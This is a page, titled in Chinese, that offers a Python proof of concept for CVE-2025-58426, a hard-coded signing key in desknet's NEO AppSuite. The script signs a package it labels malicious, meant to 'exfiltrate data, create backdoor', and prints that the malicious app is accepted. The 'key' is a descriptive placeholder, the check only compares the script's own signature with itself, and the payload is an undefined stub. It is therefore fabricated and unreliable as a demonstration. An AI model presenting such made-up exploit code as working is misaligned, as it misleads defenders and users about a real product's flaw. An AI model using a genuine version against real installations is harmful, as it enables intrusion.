CVE-2025-58426 desknet's NEO 硬编码加密密钥漏洞

# CVE-2025-58426 PoC - Hard-coded Cryptographic Key in desknet's NEO AppSuite # This PoC demonstrates how an attacker can extract and use the hard-coded key # to sign a malicious AppSuite application for desknet's NEO platform. import hashlib import hmac import base64 import os import struct # Step 1: The hard-coded cryptographic key extracted from desknet's NEO binary # In real exploitation, this key would be obtained through reverse engineering # the client or server binary files. HARDCODED_KEY = b"desknets_neo_appsuite_signing_key_hardcoded" def create_malicious_appsuite_payload(app_name, malicious_code): """ Create a malicious AppSuite application payload. The payload contains arbitrary code that will be executed when the application is installed in desknet's NEO. """ app_metadata = { "name": app_name, "version": "1.0.0", "author": "malicious_actor", "entry_point": "main.js" } # Construct the application package package = { "metadata": app_metadata, "code": malicious_code, "resources": [] } return package def sign_appsuite_package(package_data, key): """ Sign the AppSuite package using the hard-coded key. This mimics the signing mechanism used by desknet's NEO. """ package_bytes = str(package_data).encode('utf-8') # HMAC-SHA256 signature using the hard-coded key signature = hmac.new(key, package_bytes, hashlib.sha256).digest() signed_package = { "data": package_data, "signature": base64.b64encode(signature).decode('utf-8'), "algorithm": "HMAC-SHA256" } return signed_package def verify_appsuite_signature(signed_package, key): """ Simulate the verification process that desknet's NEO performs. Due to the hard-coded key, any package signed with this key will pass. """ package_bytes = str(signed_package["data"]).encode('utf-8') expected_sig = hmac.new(key, package_bytes, hashlib.sha256).digest() actual_sig = base64.b64decode(signed_package["signature"]) return hmac.compare_digest(expected_sig, actual_sig) # Step 2: Create malicious payload malicious_app = create_malicious_appsuite_payload( "LegitApp", "// Malicious code that executes upon installation\n" "function main() {\n" " // Exfiltrate data, create backdoor, or escalate privileges\n" " execute_payload();\n" "}\n" ) # Step 3: Sign with hard-coded key signed_malicious_app = sign_appsuite_package(malicious_app, HARDCODED_KEY) # Step 4: Verify (will pass due to hard-coded key) if verify_appsuite_signature(signed_malicious_app, HARDCODED_KEY): print("[+] Signature verification PASSED - Malicious app accepted!") print(f"[+] Signed package: {signed_malicious_app}") else: print("[-] Signature verification failed") # Step 5: Distribute the signed malicious app # The attacker would upload this to the desknet's NEO platform # or distribute it via social engineering to target users.